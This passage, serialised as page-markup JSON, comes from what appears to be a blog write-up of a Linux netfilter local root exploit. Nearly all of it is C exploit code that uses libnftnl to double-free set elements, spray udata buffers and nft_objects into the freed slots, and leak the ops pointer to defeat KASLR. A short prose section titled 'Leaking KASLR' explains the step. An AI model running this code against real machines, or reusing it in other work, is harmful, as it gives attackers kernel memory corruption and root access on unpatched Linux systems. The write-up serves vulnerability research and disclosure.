create_set",{"type":23,"tag":504,"props":53390,"children":53391},{"style":523},[53392],{"type":28,"value":2439},{"type":23,"tag":504,"props":53394,"children":53395},{"class":506,"line":878},[53396,53401,53405,53410,53415,53419,53423],{"type":23,"tag":504,"props":53397,"children":53398},{"style":523},[53399],{"type":28,"value":53400},"        batch, seq",{"type":23,"tag":504,"props":53402,"children":53403},{"style":598},[53404],{"type":28,"value":50248},{"type":23,"tag":504,"props":53406,"children":53407},{"style":523},[53408],{"type":28,"value":53409},", exploit_table_name, ",{"type":23,"tag":504,"props":53411,"children":53412},{"style":622},[53413],{"type":28,"value":53414},"\"pwn_set\"",{"type":23,"tag":504,"props":53416,"children":53417},{"style":523},[53418],{"type":28,"value":576},{"type":23,"tag":504,"props":53420,"children":53421},{"style":1440},[53422],{"type":28,"value":42478},{"type":23,"tag":504,"props":53424,"children":53425},{"style":523},[53426],{"type":28,"value":2484},{"type":23,"tag":504,"props":53428,"children":53429},{"class":506,"line":1221},[53430,53435,53439,53444,53448,53453,53457,53461,53465,53470,53475,53479,53483],{"type":23,"tag":504,"props":53431,"children":53432},{"style":523},[53433],{"type":28,"value":53434},"        NFT_SET_INTERVAL ",{"type":23,"tag":504,"props":53436,"children":53437},{"style":598},[53438],{"type":28,"value":9397},{"type":23,"tag":504,"props":53440,"children":53441},{"style":523},[53442],{"type":28,"value":53443}," NFT_SET_OBJECT ",{"type":23,"tag":504,"props":53445,"children":53446},{"style":598},[53447],{"type":28,"value":9397},{"type":23,"tag":504,"props":53449,"children":53450},{"style":523},[53451],{"type":28,"value":53452}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":504,"props":53454,"children":53455},{"style":1440},[53456],{"type":28,"value":2100},{"type":23,"tag":504,"props":53458,"children":53459},{"style":523},[53460],{"type":28,"value":576},{"type":23,"tag":504,"props":53462,"children":53463},{"style":598},[53464],{"type":28,"value":2086},{"type":23,"tag":504,"props":53466,"children":53467},{"style":523},[53468],{"type":28,"value":53469},"desc, ",{"type":23,"tag":504,"props":53471,"children":53472},{"style":511},[53473],{"type":28,"value":53474},"NULL",{"type":23,"tag":504,"props":53476,"children":53477},{"style":523},[53478],{"type":28,"value":576},{"type":23,"tag":504,"props":53480,"children":53481},{"style":1440},[53482],{"type":28,"value":3001},{"type":23,"tag":504,"props":53484,"children":53485},{"style":523},[53486],{"type":28,"value":53487},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":504,"props":53489,"children":53490},{"class":506,"line":1276},[53491],{"type":23,"tag":504,"props":53492,"children":53493},{"emptyLinePlaceholder":16},[53494],{"type":28,"value":1038},{"type":23,"tag":504,"props":53496,"children":53497},{"class":506,"line":1285},[53498],{"type":23,"tag":504,"props":53499,"children":53500},{"style":1106},[53501],{"type":28,"value":53502},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":504,"props":53504,"children":53505},{"class":506,"line":1294},[53506,53510,53514,53518,53523,53527,53531,53535,53539,53543,53547,53551],{"type":23,"tag":504,"props":53507,"children":53508},{"style":544},[53509],{"type":28,"value":2008},{"type":23,"tag":504,"props":53511,"children":53512},{"style":523},[53513],{"type":28,"value":801},{"type":23,"tag":504,"props":53515,"children":53516},{"style":511},[53517],{"type":28,"value":18028},{"type":23,"tag":504,"props":53519,"children":53520},{"style":523},[53521],{"type":28,"value":53522}," i ",{"type":23,"tag":504,"props":53524,"children":53525},{"style":598},[53526],{"type":28,"value":601},{"type":23,"tag":504,"props":53528,"children":53529},{"style":1440},[53530],{"type":28,"value":2023},{"type":23,"tag":504,"props":53532,"children":53533},{"style":523},[53534],{"type":28,"value":50212},{"type":23,"tag":504,"props":53536,"children":53537},{"style":598},[53538],{"type":28,"value":4789},{"type":23,"tag":504,"props":53540,"children":53541},{"style":1440},[53542],{"type":28,"value":6917},{"type":23,"tag":504,"props":53544,"children":53545},{"style":523},[53546],{"type":28,"value":50243},{"type":23,"tag":504,"props":53548,"children":53549},{"style":598},[53550],{"type":28,"value":50248},{"type":23,"tag":504,"props":53552,"children":53553},{"style":523},[53554],{"type":28,"value":1192},{"type":23,"tag":504,"props":53556,"children":53557},{"class":506,"line":1302},[53558],{"type":23,"tag":504,"props":53559,"children":53560},{"style":523},[53561],{"type":28,"value":28168},{"type":23,"tag":504,"props":53563,"children":53564},{"class":506,"line":1311},[53565,53570,53575,53579,53584],{"type":23,"tag":504,"props":53566,"children":53567},{"style":529},[53568],{"type":28,"value":53569},"        elem",{"type":23,"tag":504,"props":53571,"children":53572},{"style":523},[53573],{"type":28,"value":53574},"[i] ",{"type":23,"tag":504,"props":53576,"children":53577},{"style":598},[53578],{"type":28,"value":601},{"type":23,"tag":504,"props":53580,"children":53581},{"style":517},[53582],{"type":28,"value":53583}," nftnl_set_elem_alloc",{"type":23,"tag":504,"props":53585,"children":53586},{"style":523},[53587],{"type":28,"value":2647},{"type":23,"tag":504,"props":53589,"children":53590},{"class":506,"line":1334},[53591,53596,53601,53606,53610],{"type":23,"tag":504,"props":53592,"children":53593},{"style":517},[53594],{"type":28,"value":53595},"        memset",{"type":23,"tag":504,"props":53597,"children":53598},{"style":523},[53599],{"type":28,"value":53600},"(key, ",{"type":23,"tag":504,"props":53602,"children":53603},{"style":1440},[53604],{"type":28,"value":53605},"0x41",{"type":23,"tag":504,"props":53607,"children":53608},{"style":598},[53609],{"type":28,"value":7888},{"type":23,"tag":504,"props":53611,"children":53612},{"style":523},[53613],{"type":28,"value":53614}," i, KEY_LEN);\n",{"type":23,"tag":504,"props":53616,"children":53617},{"class":506,"line":1370},[53618,53623,53627,53631,53636,53641,53645,53650],{"type":23,"tag":504,"props":53619,"children":53620},{"style":517},[53621],{"type":28,"value":53622},"        nftnl_set_elem_set",{"type":23,"tag":504,"props":53624,"children":53625},{"style":523},[53626],{"type":28,"value":526},{"type":23,"tag":504,"props":53628,"children":53629},{"style":529},[53630],{"type":28,"value":51042},{"type":23,"tag":504,"props":53632,"children":53633},{"style":523},[53634],{"type":28,"value":53635},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":504,"props":53637,"children":53638},{"style":622},[53639],{"type":28,"value":53640},"\"pwnobj\"",{"type":23,"tag":504,"props":53642,"children":53643},{"style":523},[53644],{"type":28,"value":576},{"type":23,"tag":504,"props":53646,"children":53647},{"style":1440},[53648],{"type":28,"value":53649},"7",{"type":23,"tag":504,"props":53651,"children":53652},{"style":523},[53653],{"type":28,"value":630},{"type":23,"tag":504,"props":53655,"children":53656},{"class":506,"line":1384},[53657,53661,53665,53669,53674,53678],{"type":23,"tag":504,"props":53658,"children":53659},{"style":517},[53660],{"type":28,"value":53622},{"type":23,"tag":504,"props":53662,"children":53663},{"style":523},[53664],{"type":28,"value":526},{"type":23,"tag":504,"props":53666,"children":53667},{"style":529},[53668],{"type":28,"value":51042},{"type":23,"tag":504,"props":53670,"children":53671},{"style":523},[53672],{"type":28,"value":53673},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":504,"props":53675,"children":53676},{"style":598},[53677],{"type":28,"value":2086},{"type":23,"tag":504,"props":53679,"children":53680},{"style":523},[53681],{"type":28,"value":53682},"key, KEY_LEN);\n",{"type":23,"tag":504,"props":53684,"children":53685},{"class":506,"line":1392},[53686,53690,53694,53698,53703,53707],{"type":23,"tag":504,"props":53687,"children":53688},{"style":517},[53689],{"type":28,"value":53622},{"type":23,"tag":504,"props":53691,"children":53692},{"style":523},[53693],{"type":28,"value":526},{"type":23,"tag":504,"props":53695,"children":53696},{"style":529},[53697],{"type":28,"value":51042},{"type":23,"tag":504,"props":53699,"children":53700},{"style":523},[53701],{"type":28,"value":53702},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":504,"props":53704,"children":53705},{"style":598},[53706],{"type":28,"value":2086},{"type":23,"tag":504,"props":53708,"children":53709},{"style":523},[53710],{"type":28,"value":53711},"udata_buf, size);\n",{"type":23,"tag":504,"props":53713,"children":53714},{"class":506,"line":1400},[53715,53720,53725,53729],{"type":23,"tag":504,"props":53716,"children":53717},{"style":517},[53718],{"type":28,"value":53719},"        nftnl_set_elem_add",{"type":23,"tag":504,"props":53721,"children":53722},{"style":523},[53723],{"type":28,"value":53724},"(set, ",{"type":23,"tag":504,"props":53726,"children":53727},{"style":529},[53728],{"type":28,"value":51042},{"type":23,"tag":504,"props":53730,"children":53731},{"style":523},[53732],{"type":28,"value":53733},"[i]);\n",{"type":23,"tag":504,"props":53735,"children":53736},{"class":506,"line":1422},[53737],{"type":23,"tag":504,"props":53738,"children":53739},{"style":523},[53740],{"type":28,"value":875},{"type":23,"tag":504,"props":53742,"children":53743},{"class":506,"line":1450},[53744],{"type":23,"tag":504,"props":53745,"children":53746},{"style":523},[53747],{"type":28,"value":9299},{"type":23,"tag":504,"props":53749,"children":53750},{"class":506,"line":1463},[53751],{"type":23,"tag":504,"props":53752,"children":53753},{"emptyLinePlaceholder":16},[53754],{"type":28,"value":1038},{"type":23,"tag":504,"props":53756,"children":53757},{"class":506,"line":1485},[53758],{"type":23,"tag":504,"props":53759,"children":53760},{"style":523},[53761],{"type":28,"value":53762},"    // TRANSACTION 3\n",{"type":23,"tag":504,"props":53764,"children":53765},{"class":506,"line":1503},[53766],{"type":23,"tag":504,"props":53767,"children":53768},{"style":523},[53769],{"type":28,"value":9299},{"type":23,"tag":504,"props":53771,"children":53772},{"class":506,"line":1516},[53773],{"type":23,"tag":504,"props":53774,"children":53775},{"style":523},[53776],{"type":28,"value":53777},"    set = nftnl_set_alloc();\n",{"type":23,"tag":504,"props":53779,"children":53780},{"class":506,"line":1543},[53781,53786],{"type":23,"tag":504,"props":53782,"children":53783},{"style":517},[53784],{"type":28,"value":53785},"    nftnl_set_set_u32",{"type":23,"tag":504,"props":53787,"children":53788},{"style":523},[53789],{"type":28,"value":53790},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":504,"props":53792,"children":53793},{"class":506,"line":1583},[53794,53799],{"type":23,"tag":504,"props":53795,"children":53796},{"style":517},[53797],{"type":28,"value":53798},"    nftnl_set_set_str",{"type":23,"tag":504,"props":53800,"children":53801},{"style":523},[53802],{"type":28,"value":53803},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":504,"props":53805,"children":53806},{"class":506,"line":1605},[53807,53811,53816,53820],{"type":23,"tag":504,"props":53808,"children":53809},{"style":517},[53810],{"type":28,"value":53798},{"type":23,"tag":504,"props":53812,"children":53813},{"style":523},[53814],{"type":28,"value":53815},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":504,"props":53817,"children":53818},{"style":622},[53819],{"type":28,"value":53414},{"type":23,"tag":504,"props":53821,"children":53822},{"style":523},[53823],{"type":28,"value":630},{"type":23,"tag":504,"props":53825,"children":53826},{"class":506,"line":1614},[53827],{"type":23,"tag":504,"props":53828,"children":53829},{"emptyLinePlaceholder":16},[53830],{"type":28,"value":1038},{"type":23,"tag":504,"props":53832,"children":53833},{"class":506,"line":1627},[53834],{"type":23,"tag":504,"props":53835,"children":53836},{"style":1106},[53837],{"type":28,"value":53838},"    // make priv->dirty true\n",{"type":23,"tag":504,"props":53840,"children":53841},{"class":506,"line":1655},[53842,53847,53851,53856],{"type":23,"tag":504,"props":53843,"children":53844},{"style":517},[53845],{"type":28,"value":53846},"    memset",{"type":23,"tag":504,"props":53848,"children":53849},{"style":523},[53850],{"type":28,"value":53600},{"type":23,"tag":504,"props":53852,"children":53853},{"style":1440},[53854],{"type":28,"value":53855},"0xff",{"type":23,"tag":504,"props":53857,"children":53858},{"style":523},[53859],{"type":28,"value":53860},", KEY_LEN);\n",{"type":23,"tag":504,"props":53862,"children":53863},{"class":506,"line":1668},[53864,53869,53873,53877,53881,53885,53889],{"type":23,"tag":504,"props":53865,"children":53866},{"style":529},[53867],{"type":28,"value":53868},"    elem",{"type":23,"tag":504,"props":53870,"children":53871},{"style":523},[53872],{"type":28,"value":2711},{"type":23,"tag":504,"props":53874,"children":53875},{"style":1440},[53876],{"type":28,"value":16275},{"type":23,"tag":504,"props":53878,"children":53879},{"style":523},[53880],{"type":28,"value":595},{"type":23,"tag":504,"props":53882,"children":53883},{"style":598},[53884],{"type":28,"value":601},{"type":23,"tag":504,"props":53886,"children":53887},{"style":517},[53888],{"type":28,"value":53583},{"type":23,"tag":504,"props":53890,"children":53891},{"style":523},[53892],{"type":28,"value":2647},{"type":23,"tag":504,"props":53894,"children":53895},{"class":506,"line":1682},[53896,53901,53905,53909,53913,53917,53922,53926,53930,53934],{"type":23,"tag":504,"props":53897,"children":53898},{"style":517},[53899],{"type":28,"value":53900},"    nftnl_set_elem_set",{"type":23,"tag":504,"props":53902,"children":53903},{"style":523},[53904],{"type":28,"value":526},{"type":23,"tag":504,"props":53906,"children":53907},{"style":529},[53908],{"type":28,"value":51042},{"type":23,"tag":504,"props":53910,"children":53911},{"style":523},[53912],{"type":28,"value":2711},{"type":23,"tag":504,"props":53914,"children":53915},{"style":1440},[53916],{"type":28,"value":16275},{"type":23,"tag":504,"props":53918,"children":53919},{"style":523},[53920],{"type":28,"value":53921},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":504,"props":53923,"children":53924},{"style":622},[53925],{"type":28,"value":53640},{"type":23,"tag":504,"props":53927,"children":53928},{"style":523},[53929],{"type":28,"value":576},{"type":23,"tag":504,"props":53931,"children":53932},{"style":1440},[53933],{"type":28,"value":53649},{"type":23,"tag":504,"props":53935,"children":53936},{"style":523},[53937],{"type":28,"value":630},{"type":23,"tag":504,"props":53939,"children":53940},{"class":506,"line":1691},[53941,53945,53949,53953,53957,53961,53966,53970],{"type":23,"tag":504,"props":53942,"children":53943},{"style":517},[53944],{"type":28,"value":53900},{"type":23,"tag":504,"props":53946,"children":53947},{"style":523},[53948],{"type":28,"value":526},{"type":23,"tag":504,"props":53950,"children":53951},{"style":529},[53952],{"type":28,"value":51042},{"type":23,"tag":504,"props":53954,"children":53955},{"style":523},[53956],{"type":28,"value":2711},{"type":23,"tag":504,"props":53958,"children":53959},{"style":1440},[53960],{"type":28,"value":16275},{"type":23,"tag":504,"props":53962,"children":53963},{"style":523},[53964],{"type":28,"value":53965},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":504,"props":53967,"children":53968},{"style":598},[53969],{"type":28,"value":2086},{"type":23,"tag":504,"props":53971,"children":53972},{"style":523},[53973],{"type":28,"value":53682},{"type":23,"tag":504,"props":53975,"children":53976},{"class":506,"line":1699},[53977,53982,53986,53990,53994,53998],{"type":23,"tag":504,"props":53978,"children":53979},{"style":517},[53980],{"type":28,"value":53981},"    nftnl_set_elem_add",{"type":23,"tag":504,"props":53983,"children":53984},{"style":523},[53985],{"type":28,"value":53724},{"type":23,"tag":504,"props":53987,"children":53988},{"style":529},[53989],{"type":28,"value":51042},{"type":23,"tag":504,"props":53991,"children":53992},{"style":523},[53993],{"type":28,"value":2711},{"type":23,"tag":504,"props":53995,"children":53996},{"style":1440},[53997],{"type":28,"value":16275},{"type":23,"tag":504,"props":53999,"children":54000},{"style":523},[54001],{"type":28,"value":2730},{"type":23,"tag":504,"props":54003,"children":54004},{"class":506,"line":1708},[54005],{"type":23,"tag":504,"props":54006,"children":54007},{"style":523},[54008],{"type":28,"value":9299},{"type":23,"tag":504,"props":54010,"children":54011},{"class":506,"line":1717},[54012],{"type":23,"tag":504,"props":54013,"children":54014},{"emptyLinePlaceholder":16},[54015],{"type":28,"value":1038},{"type":23,"tag":504,"props":54017,"children":54018},{"class":506,"line":1725},[54019],{"type":23,"tag":504,"props":54020,"children":54021},{"style":523},[54022],{"type":28,"value":54023},"    // double-free commited elems\n",{"type":23,"tag":504,"props":54025,"children":54026},{"class":506,"line":1757},[54027],{"type":23,"tag":504,"props":54028,"children":54029},{"style":523},[54030],{"type":28,"value":9299},{"type":23,"tag":504,"props":54032,"children":54033},{"class":506,"line":1765},[54034,54039,54043],{"type":23,"tag":504,"props":54035,"children":54036},{"style":523},[54037],{"type":28,"value":54038},"    nftnl_set_free(",{"type":23,"tag":504,"props":54040,"children":54041},{"style":1012},[54042],{"type":28,"value":49998},{"type":23,"tag":504,"props":54044,"children":54045},{"style":523},[54046],{"type":28,"value":630},{"type":23,"tag":504,"props":54048,"children":54049},{"class":506,"line":22762},[54050],{"type":23,"tag":504,"props":54051,"children":54052},{"style":523},[54053],{"type":28,"value":884},{"type":23,"tag":504,"props":54055,"children":54056},{"class":506,"line":22799},[54057],{"type":23,"tag":504,"props":54058,"children":54059},{"style":523},[54060],{"type":28,"value":9299},{"type":23,"tag":82,"props":54062,"children":54064},{"id":54063},"leaking-kaslr",[54065],{"type":28,"value":54066},"Leaking KASLR",{"type":23,"tag":24,"props":54068,"children":54069},{},[54070,54072,54078,54080,54085,54087,54093,54095,54101,54103],{"type":28,"value":54071},"Tables contain an outline user data buffer ",{"type":23,"tag":56,"props":54073,"children":54075},{"className":54074},[],[54076],{"type":28,"value":54077},"udata",{"type":28,"value":54079}," that we can both read and write. By allocating a ",{"type":23,"tag":56,"props":54081,"children":54083},{"className":54082},[],[54084],{"type":28,"value":54077},{"type":28,"value":54086}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":56,"props":54088,"children":54090},{"className":54089},[],[54091],{"type":28,"value":54092},"nft_object",{"type":28,"value":54094}," we can leak the ",{"type":23,"tag":56,"props":54096,"children":54098},{"className":54097},[],[54099],{"type":28,"value":54100},"->ops",{"type":28,"value":54102}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":126,"props":54104,"children":54106},{"alt":128,"src":54105},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":494,"props":54108,"children":54110},{"className":28091,"code":54109,"language":28093,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[54111],{"type":23,"tag":56,"props":54112,"children":54113},{"__ignoreMap":7},[54114,54121,54129,54164,54171,54179,54204,54231,54282,54289,54322,54348,54355,54420,54427,54448,54455,54462,54470,54478,54499,54528,54540,54584,54640],{"type":23,"tag":504,"props":54115,"children":54116},{"class":506,"line":507},[54117],{"type":23,"tag":504,"props":54118,"children":54119},{"style":523},[54120],{"type":28,"value":9299},{"type":23,"tag":504,"props":54122,"children":54123},{"class":506,"line":540},[54124],{"type":23,"tag":504,"props":54125,"children":54126},{"style":523},[54127],{"type":28,"value":54128},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":504,"props":54130,"children":54131},{"class":506,"line":555},[54132,54137,54141,54146,54151,54156,54160],{"type":23,"tag":504,"props":54133,"children":54134},{"style":523},[54135],{"type":28,"value":54136},"    udata_spray(",{"type":23,"tag":504,"props":54138,"children":54139},{"style":1012},[54140],{"type":28,"value":53268},{"type":23,"tag":504,"props":54142,"children":54143},{"style":523},[54144],{"type":28,"value":54145},", 0",{"type":23,"tag":504,"props":54147,"children":54148},{"style":1012},[54149],{"type":28,"value":54150},"xe8",{"type":23,"tag":504,"props":54152,"children":54153},{"style":523},[54154],{"type":28,"value":54155},", 0, 3, ",{"type":23,"tag":504,"props":54157,"children":54158},{"style":1012},[54159],{"type":28,"value":53474},{"type":23,"tag":504,"props":54161,"children":54162},{"style":523},[54163],{"type":28,"value":630},{"type":23,"tag":504,"props":54165,"children":54166},{"class":506,"line":633},[54167],{"type":23,"tag":504,"props":54168,"children":54169},{"emptyLinePlaceholder":16},[54170],{"type":28,"value":1038},{"type":23,"tag":504,"props":54172,"children":54173},{"class":506,"line":687},[54174],{"type":23,"tag":504,"props":54175,"children":54176},{"style":1106},[54177],{"type":28,"value":54178},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":504,"props":54180,"children":54181},{"class":506,"line":736},[54182,54187,54192,54196,54200],{"type":23,"tag":504,"props":54183,"children":54184},{"style":511},[54185],{"type":28,"value":54186},"    char",{"type":23,"tag":504,"props":54188,"children":54189},{"style":529},[54190],{"type":28,"value":54191}," spray_name",{"type":23,"tag":504,"props":54193,"children":54194},{"style":523},[54195],{"type":28,"value":2711},{"type":23,"tag":504,"props":54197,"children":54198},{"style":1440},[54199],{"type":28,"value":39821},{"type":23,"tag":504,"props":54201,"children":54202},{"style":523},[54203],{"type":28,"value":30552},{"type":23,"tag":504,"props":54205,"children":54206},{"class":506,"line":785},[54207,54211,54215,54219,54223,54227],{"type":23,"tag":504,"props":54208,"children":54209},{"style":511},[54210],{"type":28,"value":54186},{"type":23,"tag":504,"props":54212,"children":54213},{"style":598},[54214],{"type":28,"value":8797},{"type":23,"tag":504,"props":54216,"children":54217},{"style":529},[54218],{"type":28,"value":54077},{"type":23,"tag":504,"props":54220,"children":54221},{"style":523},[54222],{"type":28,"value":2711},{"type":23,"tag":504,"props":54224,"children":54225},{"style":1440},[54226],{"type":28,"value":16275},{"type":23,"tag":504,"props":54228,"children":54229},{"style":523},[54230],{"type":28,"value":30552},{"type":23,"tag":504,"props":54232,"children":54233},{"class":506,"line":813},[54234,54238,54242,54246,54250,54254,54258,54262,54266,54270,54274,54278],{"type":23,"tag":504,"props":54235,"children":54236},{"style":544},[54237],{"type":28,"value":2008},{"type":23,"tag":504,"props":54239,"children":54240},{"style":523},[54241],{"type":28,"value":801},{"type":23,"tag":504,"props":54243,"children":54244},{"style":511},[54245],{"type":28,"value":18028},{"type":23,"tag":504,"props":54247,"children":54248},{"style":523},[54249],{"type":28,"value":53522},{"type":23,"tag":504,"props":54251,"children":54252},{"style":598},[54253],{"type":28,"value":601},{"type":23,"tag":504,"props":54255,"children":54256},{"style":1440},[54257],{"type":28,"value":2023},{"type":23,"tag":504,"props":54259,"children":54260},{"style":523},[54261],{"type":28,"value":50212},{"type":23,"tag":504,"props":54263,"children":54264},{"style":598},[54265],{"type":28,"value":4789},{"type":23,"tag":504,"props":54267,"children":54268},{"style":1440},[54269],{"type":28,"value":18080},{"type":23,"tag":504,"props":54271,"children":54272},{"style":523},[54273],{"type":28,"value":50243},{"type":23,"tag":504,"props":54275,"children":54276},{"style":598},[54277],{"type":28,"value":50248},{"type":23,"tag":504,"props":54279,"children":54280},{"style":523},[54281],{"type":28,"value":1192},{"type":23,"tag":504,"props":54283,"children":54284},{"class":506,"line":851},[54285],{"type":23,"tag":504,"props":54286,"children":54287},{"style":523},[54288],{"type":28,"value":28168},{"type":23,"tag":504,"props":54290,"children":54291},{"class":506,"line":869},[54292,54297,54302,54307,54312,54317],{"type":23,"tag":504,"props":54293,"children":54294},{"style":517},[54295],{"type":28,"value":54296},"        snprintf",{"type":23,"tag":504,"props":54298,"children":54299},{"style":523},[54300],{"type":28,"value":54301},"(spray_name, ",{"type":23,"tag":504,"props":54303,"children":54304},{"style":511},[54305],{"type":28,"value":54306},"sizeof",{"type":23,"tag":504,"props":54308,"children":54309},{"style":523},[54310],{"type":28,"value":54311},"(spray_name), ",{"type":23,"tag":504,"props":54313,"children":54314},{"style":622},[54315],{"type":28,"value":54316},"\"spray-%i\"",{"type":23,"tag":504,"props":54318,"children":54319},{"style":523},[54320],{"type":28,"value":54321},", i);\n",{"type":23,"tag":504,"props":54323,"children":54324},{"class":506,"line":878},[54325,54330,54334,54338,54343],{"type":23,"tag":504,"props":54326,"children":54327},{"style":529},[54328],{"type":28,"value":54329},"        udata",{"type":23,"tag":504,"props":54331,"children":54332},{"style":523},[54333],{"type":28,"value":53574},{"type":23,"tag":504,"props":54335,"children":54336},{"style":598},[54337],{"type":28,"value":601},{"type":23,"tag":504,"props":54339,"children":54340},{"style":517},[54341],{"type":28,"value":54342}," getudata",{"type":23,"tag":504,"props":54344,"children":54345},{"style":523},[54346],{"type":28,"value":54347},"(nl, spray_name);\n",{"type":23,"tag":504,"props":54349,"children":54350},{"class":506,"line":1221},[54351],{"type":23,"tag":504,"props":54352,"children":54353},{"style":523},[54354],{"type":28,"value":875},{"type":23,"tag":504,"props":54356,"children":54357},{"class":506,"line":1276},[54358,54362,54366,54370,54374,54378,54382,54386,54390,54394,54399,54403,54407,54411,54415],{"type":23,"tag":504,"props":54359,"children":54360},{"style":544},[54361],{"type":28,"value":11261},{"type":23,"tag":504,"props":54363,"children":54364},{"style":523},[54365],{"type":28,"value":801},{"type":23,"tag":504,"props":54367,"children":54368},{"style":529},[54369],{"type":28,"value":54077},{"type":23,"tag":504,"props":54371,"children":54372},{"style":523},[54373],{"type":28,"value":2711},{"type":23,"tag":504,"props":54375,"children":54376},{"style":1440},[54377],{"type":28,"value":3001},{"type":23,"tag":504,"props":54379,"children":54380},{"style":523},[54381],{"type":28,"value":47937},{"type":23,"tag":504,"props":54383,"children":54384},{"style":1440},[54385],{"type":28,"value":3001},{"type":23,"tag":504,"props":54387,"children":54388},{"style":523},[54389],{"type":28,"value":595},{"type":23,"tag":504,"props":54391,"children":54392},{"style":598},[54393],{"type":28,"value":7559},{"type":23,"tag":504,"props":54395,"children":54396},{"style":529},[54397],{"type":28,"value":54398}," udata",{"type":23,"tag":504,"props":54400,"children":54401},{"style":523},[54402],{"type":28,"value":2711},{"type":23,"tag":504,"props":54404,"children":54405},{"style":1440},[54406],{"type":28,"value":2100},{"type":23,"tag":504,"props":54408,"children":54409},{"style":523},[54410],{"type":28,"value":47937},{"type":23,"tag":504,"props":54412,"children":54413},{"style":1440},[54414],{"type":28,"value":3001},{"type":23,"tag":504,"props":54416,"children":54417},{"style":523},[54418],{"type":28,"value":54419},"])\n",{"type":23,"tag":504,"props":54421,"children":54422},{"class":506,"line":1285},[54423],{"type":23,"tag":504,"props":54424,"children":54425},{"style":523},[54426],{"type":28,"value":28168},{"type":23,"tag":504,"props":54428,"children":54429},{"class":506,"line":1294},[54430,54435,54439,54444],{"type":23,"tag":504,"props":54431,"children":54432},{"style":517},[54433],{"type":28,"value":54434},"        puts",{"type":23,"tag":504,"props":54436,"children":54437},{"style":523},[54438],{"type":28,"value":526},{"type":23,"tag":504,"props":54440,"children":54441},{"style":622},[54442],{"type":28,"value":54443},"\"[+] got duplicated table\"",{"type":23,"tag":504,"props":54445,"children":54446},{"style":523},[54447],{"type":28,"value":630},{"type":23,"tag":504,"props":54449,"children":54450},{"class":506,"line":1302},[54451],{"type":23,"tag":504,"props":54452,"children":54453},{"style":523},[54454],{"type":28,"value":875},{"type":23,"tag":504,"props":54456,"children":54457},{"class":506,"line":1311},[54458],{"type":23,"tag":504,"props":54459,"children":54460},{"emptyLinePlaceholder":16},[54461],{"type":28,"value":1038},{"type":23,"tag":504,"props":54463,"children":54464},{"class":506,"line":1334},[54465],{"type":23,"tag":504,"props":54466,"children":54467},{"style":1106},[54468],{"type":28,"value":54469},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":504,"props":54471,"children":54472},{"class":506,"line":1370},[54473],{"type":23,"tag":504,"props":54474,"children":54475},{"style":1106},[54476],{"type":28,"value":54477},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":504,"props":54479,"children":54480},{"class":506,"line":1384},[54481,54486,54490,54495],{"type":23,"tag":504,"props":54482,"children":54483},{"style":517},[54484],{"type":28,"value":54485},"    puts",{"type":23,"tag":504,"props":54487,"children":54488},{"style":523},[54489],{"type":28,"value":526},{"type":23,"tag":504,"props":54491,"children":54492},{"style":622},[54493],{"type":28,"value":54494},"\"[*] Info leak\"",{"type":23,"tag":504,"props":54496,"children":54497},{"style":523},[54498],{"type":28,"value":630},{"type":23,"tag":504,"props":54500,"children":54501},{"class":506,"line":1392},[54502,54507,54512,54516,54520,54524],{"type":23,"tag":504,"props":54503,"children":54504},{"style":517},[54505],{"type":28,"value":54506},"    deludata_spray",{"type":23,"tag":504,"props":54508,"children":54509},{"style":523},[54510],{"type":28,"value":54511},"(nl, ",{"type":23,"tag":504,"props":54513,"children":54514},{"style":1440},[54515],{"type":28,"value":3001},{"type":23,"tag":504,"props":54517,"children":54518},{"style":523},[54519],{"type":28,"value":576},{"type":23,"tag":504,"props":54521,"children":54522},{"style":1440},[54523],{"type":28,"value":2991},{"type":23,"tag":504,"props":54525,"children":54526},{"style":523},[54527],{"type":28,"value":630},{"type":23,"tag":504,"props":54529,"children":54530},{"class":506,"line":1400},[54531,54536],{"type":23,"tag":504,"props":54532,"children":54533},{"style":517},[54534],{"type":28,"value":54535},"    wait_destroyer",{"type":23,"tag":504,"props":54537,"children":54538},{"style":523},[54539],{"type":28,"value":2647},{"type":23,"tag":504,"props":54541,"children":54542},{"class":506,"line":1422},[54543,54548,54552,54556,54560,54564,54568,54572,54576,54580],{"type":23,"tag":504,"props":54544,"children":54545},{"style":517},[54546],{"type":28,"value":54547},"    